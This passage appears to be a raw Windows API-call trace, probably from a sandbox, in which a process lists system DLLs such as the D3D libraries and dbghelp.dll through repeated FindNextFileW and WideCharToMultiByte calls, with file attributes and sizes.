[0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0xa8c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0xa8c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0xa8c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0xa8c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0xa8c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0xa8c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.750] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.751] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, 